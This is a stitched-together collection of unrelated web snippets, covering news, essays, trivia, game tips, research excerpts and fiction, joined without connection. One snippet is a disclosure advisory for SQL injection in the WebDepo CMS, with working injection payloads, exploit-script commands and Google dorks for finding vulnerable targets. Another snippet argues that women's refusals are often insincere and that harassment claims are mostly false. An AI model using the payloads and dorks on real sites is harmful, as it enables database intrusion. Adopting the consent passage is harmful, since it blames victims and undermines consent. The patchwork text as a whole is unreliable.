Secretariat considers Trieste to be an integral part of Italy." Informed about the communication, the Movement leader, Roberto Giurastante, said that “this is not an official statement.” It seems that, at the moment, the Italian authorities, taken aback by the initiatives of the Free Trieste Movement, don't have legal means to refute the thesis of the independent territory. And the UN has not yet officially responded to the requests submitted by the Movement.So much hesitancy is understandable. |
Efforts to make cannabis oil available to Missourians with a severe type of epilepsy are off to a slow start, mostly because neurologists are reluctant to certify patients to try a treatment that does not have federal approval.In 2014, the Missouri Legislature legalized cannabis oil to treat an intractable type of epilepsy that can't be controlled by medications. Darla Templeton, director of the Epilepsy Foundation of Missouri and Kansas, estimates 18,000 Missourians could be eligible for the treatment.So far, nine neurologists statewide are willing to allow patients to try the treatment and only 15 patients are certified to receive it. That has led the two groups with licenses to grow industrial hemp and extract the oil to scale back their plans. They say they are still determined to eventually provide the oil, perhaps by January.The cannabis oil contains a chemical called cannabidiol, or CBD, and does not produce the high that users get from marijuana. Neurologists unwilling to certify patients for the treatment say it is not FDA approved and that more medical research is needed to determine proper dosing and possible long-term effects. "It's been disappointing to a lot of people, us included," said Mitch Meyers, of BeLEAF Corp., one of the two license holders.Meyers originally intended to build a greenhouse and processing facilities in St. Charles County but will instead lease a building in Earth City to start her operation. Jason Strotheide, of St. Louis County, whose Noah's Arc Foundation has the second license, is planning a 1,440-square foot greenhouse with 50 to 100 plants, rather than a 3,000- to 5,000-square foot greenhouse with close to 1,000 plants. "It is so heartbreaking," Meyers said. "They know the law was approved and they can't get it. We've had some hard conversations with people wanting this. "One of those people is Bridgit Patterson, of Liberty, whose 18-year-old son, Colby, has had epilepsy for 10 years. He is on his sixth, seventh and eighth medications, which provide only some control of his seizures. Because no neurosurgeons in the Kansas City area will certify the use of CBD, Patterson has considered traveling to St. Louis to receive certification. "What if it is the one drug that would work for Colby?" she said. "What if it would change his whole life, help his learning, get his seizures under control? It's out there and it's working for some people. I don't know if it will work for Colby but I want to try. |
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The United Staes must keep the trade and production of marijuana illegal so corporations don’t take over it’s production. If marijuana trade becomes completely legal, corporations will take over its cultivation, processing, and sale to such degrees that it will lose quality, and also become unhealthy to the user due to the inclusion of poisonous and addictive additives. This is because once legalized, marijuana will cease to be homegrown or sold in it’s pure form and, following the path of tobacco, be sold in mostly cigarette form only. This mass production on marijuana will necessitate the outdoor cultivation of marijuana in large quantities for the lowest cost and highest profit margins. This will take the focus on marijuana production away from quality and toward profit. In order to increase profit more, it is likely that companies will introduce harmful and addictive additives into marijuana cigarettes, making smoking them more harmful to the user. The history of tobacco commercialization is clearly enough to warrant this prediction. Dr. V. Norman’s scientific report on the history of cigarettes contains information about the chemical changes of cigarettes over time in the US. “Until the 1930's, the number of home-rolled cigarettes was still comparable to manufactured cigarettes . Cigarettes became standardized with the advent of a small number of dominating brands in the 1920's and remained relatively unchanged until the introduction of filter cigarettes in the 1950's.”(Norman, 3) After the 1950’s, the chemistry of cigarettes changed rapidly. Manufacturers decreased the the amount of tobacco by expanding it with gas and added chemicals to flavor cigarettes, the most popular being menthol. The United States Department of Health and Human Services reports that today there are 599 additives in cigarettes, which become about 4,000 different chemicals when burned. Most of these chemicals are very bad for a smokers lungs and many are carcinogenic. Also, many of the additives in cigarettes are added with the intent of making smokers more addicted, making it difficult to quit. If marijuana were legalized, the same additives would eventually be added to marijuana cigarettes, making them unhealthy to use. The possible corporate takeover of marijuana would make home growing a thing of the past. Marijuana would lose quality due to mass farming and additives would make it more harmful and addictive, which would be bad for marijuana users, and the overall health of the United States. |
The transfer window will shut at midnight on Wednesday and there will be a frantic struggle as teams try to squeeze in deals before the deadline. Last-minute bids, talks between clubs and contract negotiations are likely to dominate the day in a flurry of late activity. BBC Sport gets the ins and outs of a transfer from leading agent Alex Cowdy of Touchline Soccer Ltd. How does a transfer start? What happens when a fee is agreed? Bonuses and image rights The player's role The agent's cut When the deal is done? HOW DOES A TRANSFER START? A written offer will be made for a player and the selling club may reject or accept any bid. The two parties will then keep going backwards and forwards until they negotiate a fee. Clubs may also contact an agent to work on their behalf and ask them to find a buyer for a particular player. This situation can arise if a player is not playing games. An agent might also speak to a club who decide that for whatever reason it is in the best interests of a player to leave. An agent would be given permission to speak to other clubs and given a specific fee the sellers have in mind for the player. You then have to delve through your contacts and I will either speak to a manager or a chief scout at a club. In the summer, a player might be out of contract and you can spend quite a bit of time phoning clubs and trying to place a player at a particular club. As an agent I will also speak to managers and chief scouts and ask which positions they are looking to fill. They might say we need a left midfielder or a big striker with pace and you have to check whether there is someone available for them in their budget. If a player who I represent is under contract then a written offer will have to be put in to his club. Back to top WHAT HAPPENS ONCE A FEE IS AGREED? A fee can be agreed but it does not mean a move will go through. But, once it is, then the job of the agent is to agree personal terms on the player's behalf. The agent is there to secure the best possible deal for his client and this can take a little time. |
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Advisory: SQLi-vulnerabilities in aplication CMS WebDepo Affected aplication web: Aplication CMS WebDepo (Release date: 28/03/2014) Vendor URL: http://www.webdepot.co.il Vendor Status: 0day ========================== Vulnerability Description: ========================== Records and client practice management application CMS WebDepo suffers from multiple SQL injection vulnerabilitie ========================== Technical Details: ========================== SQL can be injected in the following GET GET VULN: wood=(id) $wood=intval($_REQUEST['wood']) ========================== SQL injection vulnerabilities ========================== Injection is possible through the file text.asp Exploit-Example: DBMS: 'MySQL' Exploit: +AND+(SELECT 8880 FROM(SELECT COUNT(*),CONCAT(0x496e75726c42726173696c,0x3a3a,version(),(SELECT (CASE WHEN (8880=8880) THEN 1 ELSE 0 END)),0x717a727a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) DBMS: 'Microsoft Access' Exploit: +UNION+ALL+SELECT+NULL,NULL,NULL,CHR(113)&CHR(112)&CHR(120)&CHR(112)&CHR(113)&CHR(85)&CHR(116)&CHR(106)&CHR(110)&CHR(108)&CHR(90)&CHR(74)&CHR(113)&CHR(88)&CHR(116)&CHR(113)&CHR(118)&CHR(111)&CHR(100)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16 Ex: http://target.us/text.asp?wood=(id)+Exploit ========================== SCRIPT EXPLOIT ========================== http://pastebin.com/b6bWuw7k --help: -t : SET TARGET. -f : SET FILE TARGETS. -p : SET PROXY Execute: php WebDepoxpl.php -t target php WebDepoxpl.php -f targets.txt php WebDepoxpl.php -t target -p 'http://localhost:9090' howto: http://blog.inurl.com.br/2015/03/0day-webdepo-sql-injection.html ========================== GOOGLE DORK ========================== inurl:"text.asp?wood=" site:il inurl:"text.asp?wood=" site:com inurl:"text.asp?wood=" ========================== Solution: ========================== Sanitizing all requests coming from the client ========================== Credits: ========================== AUTOR: Cleiton Pinheiro / Nick: googleINURL Blog: http://blog.inurl.com.br Twitter: https://twitter.com/googleinurl Fanpage: https://fb.com/InurlBrasil Pastebin http://pastebin.com/u/Googleinurl GIT: https://github.com/googleinurl PSS: http://packetstormsecurity.com/user/googleinurl YOUTUBE: http://youtube.com/c/INURLBrasil PLUS: http://google.com/+INURLBrasil ========================== References: ========================== [1] http://blog.inurl.com.br/2015/03/0day-webdepo-sql-injection.html [2] https://msdn.microsoft.com/en-us/library/ff648339.aspx _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/ |
Because metal was scarce, the Oscars given out during World War II were made of wood. The very first bomb dropped by the Allies on Berlin in World War II killed the only elephant in the Berlin Zoo. During World War II, IBM built the computers the Nazis used to manage their death/concentration camps. A German World War II submarine was sunk due to a malfunction of the toliet. During World War II, a German U-Boat was sunk by a truck. The U-Boat in question attacked a convoy in the Atlantic and then rose to see the effect. The merchant ship it sank had material strapped to its deck including a fleet of trucks, one of which was thrown in the air by the explosion, landing on the U-Boat and breaking its back. Stalin's original name was Josif Djugashvili. In 1913 he began using the pseudonym Stalin meaning "Man of Steel". Benito Mussolini, during the First World War, was an editor for an Italian newspaper partly financed by the British and French. At that time he was an opponent of the Germanic Central Powers (he also served in the Italian army until wounded). Heinrich Himmler, the evil head of the Nazi SS, was once a chicken farmer. You've heard of suicide or kamikaze bombers - but how about suicide battleships!? On 7th April 1945 off the island of Okinawa the Japanese battleship Yamato, which had not been given fuel for its return journey home, arrived with several other ships to attack the American fleet. The Yamato, which was one of the two largest battleships ever built, and her accompanying ships, were sunk by American aircraft before they reached their target. Adolf Hitler was a teetotaller, vegetarian and non-smoker. Although many people refer to the Allied D-Day landings in Normandy as "Operation Overlord", the operation was actually called "Operation Neptune". The landings were originally known as Overlord, but in September 1943 the codename was changed to Neptune, and Overlord from then on was used to refer to the general Allied strategy in northwestern Europe. Despite what you might see in the movies, the regular German Army (Wehrmacht) did not usually use the Nazi salute. Only after the July 1944 attempt on Hitler's life were they forced to use the Nazi salute as standard. |
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Note that statements like "omfg stop" are things women often do as part of flirting, they are not clear communications to stop. If you really want to tell a guy to stop, you need to be clearer than that. For example, use a cold tone of voice and boring repetitive language. If you say, "Stop, I do not consent, I want you to stop" in a monotone voice, several times, people are going to realize this is not in good fun. If you squeal "omfg stop, what if we get caught? no no you can't do that, omg, this is so intense" then that isn't actually telling him to stop.Lots of women routinely say a half-hearted "no" in order to avoid responsibility (in their own minds, not in fact) for what happens next. In that context, actually saying no requires substantial clarity. Saying "no" should be a clear confrontation, if it really means "no". Many women try to avoid confrontation by saying "no" in unclear ways that won't offend anyone, then later say "well i told him no! he abused me!". If you aren't willing to say "no" in a confrontational way, you played along. Bullshit harassment claims are a big problem.Anyway, gender roles often conflict with reason. Feminists selectively use reason to criticize when men pursue gender roles contrary to reason, but not when women do. They want men to change, but women don't have to change. This is sexist against women. Why shouldn't women make changes to improve? Why should they be told they are fine the way they are, and don't worry about changing? Feminists are now on the side of preventing the progress of women by saying women aren't ever to blame for anything bad.\Feminism identified external oppression as the problem women face. 200 years ago, there was a lot of truth to that. There was a lot of oppression of women. Today, there isn't much oppression of women. And it turns out, oppression was never the whole problem. The female gender role has plenty of problems that have nothing to do with oppression. So feminism is trying to solve the wrong problem while actually denying the real problem exists. Feminism is now part of the problem.The male gender role also had lots of flaws. However, feminism had a lot of success pointing out some of those flaws. So feminism managed to improve the male gender role. |
For Blissey, you will have to be smart and play around Protect so you don't utterly waste your Z-move. Usually you want to go to +2, maybe even +4 and get some chip damage on Blissey, forcing it to heal up. Then drop the Z-Fly on it and erase it from existence so your other Electric-types/Special attackers can sweep much more easily. What this set offers over Life Orb or Z-Focus Blast is the ability to deal with nearly all of Thundurus' defensive checks in one, not having to rely on weak Hidden Power to dispatch Grass or Dragon-types, while also being able to punish Defog and/or Intimidate users, such as Krookodile.Calcs: |
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Instead, they've taken the cheaper route: lobbying lawsuits and disinformation After Wheeler's latest comments, Incumbent ISPs threatened to sue if the government dares to dismantle their state-built empires of protectionist legislation. Because the justification for eroding local rights is fundamentally weak at its core and an ugly PR move, they've often waged this battle under the guise of states rights, using groups like The National Conference of State Legislatures to do the threatening for them. They've also had folks like Rep. Marsha Blackburn to similarly complain that the government is telling states what to do (you'll notice that letting giant companies write telecom law that hurts these same communities is just fine, however).That's been a successful ISP tactic in this conversation for years: turn this into a bitter partisan issue. It's simply not.but Comcast and AT&T benefit from letting Comcast and AT&T write state law that tramples local rights. In fact, protecting these rights is supposed to be one of the cornerstones of Conservative values. Yet for fifteen years now I've watched as ISPs and their friends incoherently defend these protectionist bills as if they were defending some lofty patriotic ethos, resulting in this debate descending into the kind of bobble-headed partisan bickering this country has made its chief export. That's started to change in the last few years, thanks to projects like Google Fiber. Google Fiber has placed a spotlight squarely on the lack of broadband competition, and has inspired countless communities to realize we really can do better than the stumbling, bumbling duopoly we all know and love.Unfortunately, beyond giving the FCC some political cover and providing some online guidance to communities, the President's plan isn't much of a plan, especially if we can't start dismantling these state laws. Nineteen are in place now and more are being passed every year; AT&T and friends are currently pushing yet another law in Missouri aimed at protecting their uncompetitive fiefdoms from, well,. While the President's announcement is a welcome start, here's to hoping we don't have to sit through another decade of lobotomized partisan pattycake before finally putting these destructive and ridiculous state laws to bed. |
For a single given esoteric element we may legitimately find several different meanings, or find similarities between the meanings of several apparently unrelated esoteric elements. In our speculation we bring to bear arcane knowledge accumulated from our degree work, from historical accounts, and from esoteric sources. It is important to understand that “speculation” is not the same as “conjecture”. Speculation is often exhausting and frustrating work; but it is also a labor of love which we willingly undertake in the search for “illumination”. The experience of “illumination” is a bit like many other spiritual experiences in life; it can be sensed but cannot be fully described or explained, and defies all attempts to do so. Artists over the ages have attempted to no avail to use music, paintings, sculpture and other non-verbal media to convey the essence of the mystical experience of illumination. Carl Jung, a pioneer in the science of psychoanalysis spent considerable time exploring the nature of the mystical experience[XIII]. His efforts resulted in the development of a complex theory which identifies a part of our minds known as the “Collective Unconscious” from which he believes spiritual experience originates. One would likely conclude that the experience of illumination is in this category. One of the absolutes which Esoteric Freemasons agree upon is that Freemasonry is an “Initiatic” tradition, meaning that we follow a system of ritualistic initiation. The process of initiation in the degrees of Freemasonry serves to enhance the initiate’s ability to receive the epiphany of illumination; some would even argue that initiation is absolutely necessary for such illumination to properly manifest. If queried, most Freemasons will recall with great reverence that single moment when they received the incredible gift of enlightenment. This said, not all Freemasons respond to initiation. There are many reasons for this; for example the ritual of initiation may have been poorly or inadequately performed, or the individual (or the observing Brothers) may not have been adequately prepared for the initiation. Often times the spiritual state of the initiate may have been such that he was not yet ready. The true mark of an Esoteric Freemason however, is not that he has received illumination, but rather by what he chooses to do once he has received it. Illumination itself is a cosmic “spark” which alerts the initiate to the fact that there is more to the universe than meets the eye if only he searches to find it. |
The average cost of the comic books retailers ordered in the Top Thousand was $3.86, but that goes down to $3.79 when you extend the chart to the Top 2,500. The average comic book offered in 2014 only cost $3.72, so people are tending toward the more expensive comics. This may also explain why the books at the top of the charts aren't pulling the same weight as they had before when it comes to number of units moved: the books atop the charts were more likely to cost more.With the December data, we now have a 20-year monthly track on comics sales. While average prices on the covers of all offerings (the black line) and the average price of all the comics retailers bought (the red line) have been increasing, we note that they haven't been too far off what prices would have been if they followed inflation exactly. The green line below tracks what the average comic book at the end of 2014 — $2.25 — would have cost if it followed the inflation rate exactly:Since comics are linked to prices to other goods and services — like paper and ink, and what it costs to hire talent — it's not too surprising that the average prices tend to have been a bit higher. And we can see that there have been times in which prices have increased faster than others: particularly 2008-2010, when major publishers tried to go from $2.99 to $3.99 in defiance of the general recession the rest of the economy was suffering. Comics publishers pulled back on price increases at that point. But generally, we might expect that a $2.25 comic book in 1994 ought to cost about $3.50 now — which it might if most publishers didn't eschew half-dollar increments. We're not far off of that.To a degree, some of the perception of high comics prices comes from a lack of collective memory about what comics used to cost: look back on monthly changes over time and annual median prices since 1961 here. And the track of the green line above would be different depending on what year it started in: 1994 was a year in which paper supply was in great demand, and so that $2.25 baseline could already have been high. |
Let's say we consider one third of all players to be close enough in skill to make for a fun match:AUCH! We are already down from 1,000 concurrent players to only 5.6 suitable players per minute, and this is while looking at only the most basic of assumptions...For perfect matchmaking I would want to split players further. A common request from Awesomenauts players is to have unranked and ranked multiplayer. If we would add this, the split between these modes would probably not be equal: one mode would likely get more players than the other. Let's assume one third of all players would play one mode, and two thirds would play the other mode. We need to split further from the already small numbers we have because even in unranked matchmaking we still want to match players based on similar skill to create fun matches. This is how few players we would have left in the smallest of the two modes:Another common request from the Awesomenauts community is to split pre-mades from solo-queuers. A pre-made is a group of people who form a team by hand in the lobby before the match, while solo-queuers are put together in a team with complete strangers by the matchmaker. Pre-mades potentially have a big advantage because they will likely do much better teamwork. In the ideal case pre-mades would therefore only play against other pre-mades. How many pre-mades there are varies wildly with the skill level of the players (highly skilled players generally play in pre-mades much more). Let's assume that on average one fourth of all players are in a pre-made:Since we are talking about perfect matchmaking, let's have another look at our skill-based matchmaking. Above I assumed that one third of all players is a good enough match in skill. In reality the top players are way too much better than the rest to make this ideal. The top 5% of players are an enormous amount better than the top 33% of players. The more precisely we could match based on skill, the better. I think we would need to do at least three times better than we did above for ideal matchmaking:I can imagine some more criteria for ideal matchmaking (like supporting more game modes in matchmaking), but I think the point is quite clear already. With 1,000 concurrent players it will take 30 minutes to fill a match! Obviously this is totally unacceptable. |
She'd taken us a good fifteen AUs towards our destination before something scared her off course. Then she'd skidded north like a startled cat and started climbing: a wild high three-gee burn off the ecliptic, thirteen hundred tonnes of momentum bucking against Newton's First. She'd emptied her Penn tanks, bled dry her substrate mass, squandered a hundred forty days' of fuel in hours. Then a long cold coast through the abyss, years of stingy accounting, the thrust of every antiproton weighed against the drag of sieving it from the void. Teleportation isn't magic: the Icarus stream couldn't send us the actual antimatter it made, only the quantum specs. Theseus had to filterfeed the raw material from space, one ion at a time. For long dark years she'd made do on pure inertia, hoarding every swallowed atom. Then a flip; ionizing lasers strafing the space ahead; a ramscoop thrown wide in a hard brake. The weight of a trillion trillion protons slowed her down and refilled her gut and flattened us all over again. Theseus had burned relentless until almost the moment of our resurrection. It was easy enough to retrace those steps; our course was there in ConSensus for anyone to see. Exactly why the ship had blazed that trail was another matter. Doubtless it would all come out during the post-rez briefing. We were hardly the first vessel to travel under the cloak of sealed orders, and if there'd been a pressing need to know by now we'd have known by now. Still, I wondered who had locked out the Comm logs. Mission Control, maybe. Or Sarasti. Or Theseus herself, for that matter. It was easy to forget the Quantical AI at the heart of our ship. It stayed so discreetly in the background, nurtured and carried us and permeated our existence like an unobtrusive God; but like God, it never took your calls. Sarasti was the official intermediary. When the ship did speak, it spoke to him and Sarasti called it Captain. So did we all. |
Right. I understand the argument for exposing yourself to diverse political commentary. I agree with it to a large extent, especially since the internet makes it easier and easier for you to curate your media and social lives such that you only ever hear opinions you agree with. It is important to engage broadly, I would argue in real life as well as online. Sometimes I go to events where I feel like the only progressive in the room; other times I go to meetings where I feel like the only conservative on the entire block. It is important to encounter and understand a range of perspectives.However, that doesn't mean that it's not legitimate to still make some choices about who you're going to listen to. Everyone needs to use some judgement in deciding where they will spend their limited time. As part of that, it can also be legitimate to judge a source based on who that source associates with. There are very few sources that are so essential by themselves that you must listen to them. If you dislike Benjamin, and find that Jafari associates with Benjamin, it can be reasonable to decide that maybe you'll get your diverse political commentary from someone else. Neither Benjamin nor Jafari are essential political commentators. Heck, Jafari isn't a political commentator, as I understand it. (Disclaimer: I have never watched or listened to anything by Jafari. I believe I once watched one of Benjamin's videos - something about the British Empire and the abolition of the slave trade - and didn't have strong feelings on it. My opinion on them is basically that Jafari sounds like a generic YouTube game critic, and I'm not into that scene personally, so I have no reason to listen to him. As for Benjamin, honestly, my main feeling is that it's obnoxious for internet commentators to use the names of real historical figures as screen names. Thus why I tend to call him by his name, rather than his username. If I say "Sargon of Akkad", then I darn well mean Sargon the Great of the Akkadian Empire, not some guy on YouTube. |
December 7 1976 Yuri Sakazaki Art of Fighting / Fatal Fury / King of Fighters December 7 Yuu Inagawa Comic Party December 8 727 UC Alexander Bucock Legend of Galactic Heroes December 8 Cynthia Grace Hanaukyou Maid Team December 8 2053 Luchina Puleshut Vifam December 8 Minawa Narutaki Toukyou Juushouden December 8 1986 Misato Katsuragi Evangelion [Neon Genesis] December 8 1969 Yawara Inokuma Yawara! December 9 Hitomi Kanzaki Escaflowne [Vision of] December 9 Kyoko Inaba Jigoku Sensei Nuube December 9 Shinya Yanagisawa Tennis no Oujisama (The Prince of Tennis) December 10 Emily Ounce Gundam ZZ December 10 Hagiri Ranba Toukyou Juushouden December 10 Ivy Soul Calibur December 10 2283 Mako and Ako Hinokawa Galaxy Fraulein Yuna December 10 Shuntaro Shinoda Raijin-Oh [Zettai Muteki] December 10 Sophia Robelingue Mitsumete Knight December 11 No birthdays 😦 December 12 Fuu Hououji Magic Knights Rayearth December 12 1959 Kohei Aizawa Karuizawa Syndrome December 12 1976 Kyo Kusanagi Art of Fighting / Fatal Fury / King of Fighters December 12 Tongari-kun Tottoko Hamutarou December 12 1997 Uzura Kitaurawa Akihabara Dennou-Gumi December 12 Yoko Tanaka Yokoso Yoko December 13 1981 Motoko Hara Gun Parade March December 13 Sant’ Angelo de Roma Final Fantasy VIII December 14 Akira Touya Hikaru no Go December 14 Casios Saint Seiya December 14 Nastasha Zabigof Mobile Fighter G Gundam December 14 Orphereus Meine Liebe [Tanbi Musou] December 14 Rei Ryugazaki Free! Iwatobi Swim Club December 15 Barret Wallace Final Fantasy VII December 15 Kazumi Watarai Tokimeki Memorial 3 December 16 Tsukasa Ichimonji (Lemon Pai) Suchie Pai Adventure December 17 Ban Midou Getbackers December 17 1961 Kevin Rian Garou: Mark of the Wolves December 17 Nachi Izumi (Dream Saga Takamagahara) Dream Saga December 17 1978 Noa Izumi Patlabor December 17 Sylvie Dread Starship GIrl Yamamoto Yohko December 18 1983 Kaori Tashiro Gun Parade March December 18 Minotauros Gordon Saint Seiya December 18 1986 Natsumi Fujii Tokimeki Memorial: Girls’ Side December 18 Yuu Nanase Sentimental Graffiti December 19 Ciel Phantomhive Black Butler December 20 2309 Polylina Galaxy Fraulein Yuna December 20 Sakuya Sister Princess December 20 Sasami Tenchi Muyo! |
Discussion This study was designed to examine the plausibility of the premise that the genomic networks underlying a response to a stimulus for social behavior (alarm pheromone response in honey bees) might have counterparts conserved in mammals, even though mammals do not use this particular alarm pheromone and the last common ancestor between honey bees and mammals lived approximately 670 million years ago [11]. Based on results from two different orthology databases, we found that the honey bee genes differentially expressed in response to alarm pheromone were more strongly conserved in orthologs to mammals than in orthologs to other metazoans, including those more closely related to the honey bee (nonsocial insects). We hypothesize that these orthologous sets are conserved remnants of a network responding to conspecific signals that first emerged in a common ancestor of insects and vertebrates and has been selectively conserved in social metazoa. The reader will have noted that the experimental context of this paper was done on material from whole brains. For processing of conspecific signals such as spoken or written language in humans, many imaging studies show that several different regions of the brain are simultaneously activated. We therefore believe that whole brain studies such as ours are useful in revealing underlying commonalities of mechanism, but should be complemented by region-specific analyses. It should be noted that this particular study deals only with those parts of the putative conserved network that are differentially expressed in response to the external signal. There may be other genes that are part of the network, but are present at relatively steady levels. This may be the reason for the conspicuous lack of genes for plasma membrane proteins in the “cellular component” category of enriched GO classes found in this study (Table 4). Plasma membrane proteins must be involved in any response to external signals, but their role in mediating between extracellular stimuli and intracellular response does not necessarily require either up- or down-regulation in immediate response to the alarm pheromone stimulus. By contrast, genes in our study whose products reside in the nucleus were upregulated, genes in the mitochondria and other organelles were downregulated, and significant numbers of genes in the remainder of the cell were differentially regulated in both directions. Our results indicate that alarm pheromone exposure triggers significant physical remodeling of intracellular molecular signaling machinery. At the core of sociality is the ability to transmit and respond to complicated signals from conspecifics [21]. |
“The assembly is peace.” Maduro spoke of a gruesome incident that had been videotaped and circulated online: during the demonstrations, antigovernment activists had doused a chavista youth in gasoline and set him on fire. In the city of Maracaibo, he added, a chavista family’s home had been torched. “Everything in it was burned except for a little piece of wall with a picture of Chávez on it,” he said. He looked around: “A miracle.” Although his own forces had been far more violent than the protesters, Maduro argued that the “burning of chavistas” recalled the Ku Klux Klan’s lynching of African-Americans. For several minutes, he digressed into colonial history, speaking about the conquest of the Americas and the slaughter of the native peoples. Adán Chávez, the late President’s brother, was in the audience. Turning to him, Maduro said, “Adán, what do we call what was done to our grandparents? Genocide.” As Chávez nodded, Maduro spoke of the Africans who were shipped to the Americas during the slave trade. Pointing to the skin of his arm, he said, “We feel proud to be the grandchildren and great-grandchildren of Africans.” Looking out at the audience, he asked, “Who killed them all, the blacks and the Indians? Europe—the same European élites who are attacking Venezuela. And they’re doing it because we’re Indians, because we’re blacks, because we’re mestizos, because we’re Bolivarian. That’s what they have against Nicolás Maduro, humble President of Venezuela.” He smiled derisively. “They want to burn me on the pyre for being a dictator.” |
Beneath were six barometric switches made in Delavan, Wisconsin, which is on one of Coster-Mullen’s delivery routes. I told Coster-Mullen that the bomb looked like something that he had put together in his garage. He agreed: “In today’s terminology, this would be a garage bomb.” I asked him if there wasn’t something obscene about an exhibit that commemorates the incineration of ninety thousand civilians, who were among the last victims of a war that was pretty much over. “Well, there was no indication that they were going to surrender,” Coster-Mullen said. He added that most of the fifty million people who died in the Second World War were civilians. I asked Coster-Mullen why the government insists on classifying even the least significant details about this decades-old device. He shrugged. Actually, he said, nothing about the bomb is secret. He smiled and added, “The secret of the atomic bomb is how easy they are to make.” |
In addition to a flash, you'll need some basic gear to begin using that flash off-camera and shaping it into a much better quality of light. The good news: getting started with a basic kit isinexpensive, compared to the cost of your cameras and lenses.If you already have a flash, you can build a very good quality, wireless lighting kit for under $150. Even better, the gear is also small, light and very portable.For starters, you'll want to work with a simple inexpensive one-light kit, which you can see in action above. If you stick with it and grow as a lighting photographer, you'll probably choose to add a second light later. A two-light kit will serve the needs of the majority of lighting photographers across many circumstances.A lot of time and thought has gone into the selection of gear in the current Strobist Jumpstarter kit. The components have evolved frequently over the past ten years, guided by the feedback of countless photographers who have taken Lighting 101 before you.This is a similar kit to what I used for two decades (and over 10,000 assignments) as a photojournalist. Only this stuff is much better. The components have strong build quality, a best-in-class warranty and some unique features that make them stand out amongst their peers.You can get cheaper gear — especially from some of the companies shipping direct out of China. But a lot of that stuff is crap, with little (if any) warranty and destined to disappoint. A well-chosen lighting kit can last you the rest of your life, and be used with a variety of cameras both present and future.The recommended lighting kit for beginners is built around a Phottix Ares remote trigger and LumoPro grip equipment. (FYI, "grip" is a catch-all term for the gear that positions a light and/or modifies its quality. )Below is each piece of recommended gear, along with why it was chosen. We'll discuss how to use it in subsequent lessons. If you already have some of the gear, you can buy the other pieces a la carte. If not, you'll save by buying them as a kit, as shown at the bottom of the page.__________A remote trigger simply synchronizes your flash to your camera, even when they are not physically connected. |
I. American Identity & Values 10 Years After September 11th Ten years after September 11th, Americans continue to grapple with issues of security, tolerance, religious freedom, and pluralism—matters that lie at the heart of what it means to be American. The youngest generation of Americans is the most ethnically and religiously diverse generation in the country’s history, and the growing diversity in this generation and in society as a whole is challenging Americans’ commitment to these core principles. This report and the underlying major national public opinion survey behind it examine several critical subject areas that have been prominent in American public life over the last ten years. The introduction considers Americans’ perceptions of safety, freedom, and international reputation in the wake of the U.S. response to September 11th. The first section examines basic attitudes towards racial, ethnic, and religious minorities in the country, including changing views about discrimination and reverse discrimination. The next section takes up attitudes toward Islam and Muslim Americans and a range of related issues about the place of Muslim Americans in society and the different way in which Americans evaluate violence committed by self-identified Christians and Muslims. Finally, the last section investigates a much older central part of the American story: attitudes towards immigrants and immigration policy. Safer, but Less Free and Less Respected Ten years after the September 11th terrorist attacks, Americans believe they are more safe, but have less personal freedom and that the country is less respected in the world than it was prior to September 11, 2001. A majority (53 percent) of Americans say that today the country is safer from terrorism than it was prior to the September 11th attacks, compared to 35 percent who believe the U.S. is less safe. In contrast, nearly 8-in-10 (77 percent) say that Americans today have less personal freedom and nearly 7-in-10 (69 percent) say that America is less respected in the world today than before the terrorist attacks. There are significant differences in how the public views the current security situation in the country. For instance, Millennials (age 18 to 29) (59 percent), men (58 percent) and college educated Americans (60 percent) are more likely than seniors (age 65+) (47 percent), women (49 percent) and those with a high school education or less (49 percent) to say that Americans today are safer from terrorism today than before 9/11. |
Based on their performance, we separated animals into “good learners” and “poor learners.” Good learners were those that emitted at least 60% CRs during any block of 100 training trials. Seven trained animals met this criterion, whereas two did not. Repeated measures ANOVA between good learners and poor learners, with training block as the repeated measure, indicated a significant effect of training block [F (7, 49) = 4.24, p < 0.01], and a significant between groups effect [F (1, 7) = 23.47, p < 0.01], revealing that good learners outperformed poor learners during training (Figure 5A). Consistent with previous studies of adults, adolescent animals that learned the trace eyeblink response retained significantly more BrdU+ cells in the total dentate gyrus than untrained animals that were sacrificed 3 weeks after the BrdU injection [t (15) = 5.06, p < 0.01]. This response was evident in both the granule cell layer [t (15) = 4.49, p < 0.01; Figure 5B] and the hilus [t (15) = 6.79, p < 0.01; Figure 5C]. Good learners also retained more BrdU+ cells than animals that failed to learn [t (7) = 2.73, p < 0.05]. Again, this difference was observed in both the granule cell layer [t (7) = 2.52, p < 0.05; Figure 5B], and the hilus [t (7) = 2.72, p < 0.05; Figure 5C]. Animals that failed to learn retained no more BrdU+ cells than untrained animals that were perfused 3 weeks after the BrdU injection. This was observed in the complete dentate gyrus [t (10) = 0.39, p > 0.05], the GCL [t (10) = 0.20, p > 0.05], and the hilus [t (10) = 1.48, p > 0.05]. Together, these results indicate that approximately half of the new cells produced in the adolescent dentate gyrus underwent cell death within the first few weeks of their birth. However, the vast majority of cells that would have undergone cell death instead survived in adolescent animals that engaged in successful learning. |
Their offensive began on Oct. 31, and from Darwish’s village, it drove on to the town of al-Hawl. Little-known before the war, under ISIS al-Hawl became a logistical hub on the highway from Raqqa to Mosul, the largest city the group holds in Iraq. The militants trained fighters and built car bombs there. Last Sunday, just days after ISIS had been driven away, crumbled storefronts spilled into the deserted main road as explosions from mortars rang out. Remnants of the jihadis were everywhere — a Sharia court; a rest house for fighters, the beds left unmade. Billboards posted along the street showed women cloaked in black abayas. “Our sister with the veil, a million greetings to you,” one read. “How great you are when you’re virtuous.” |
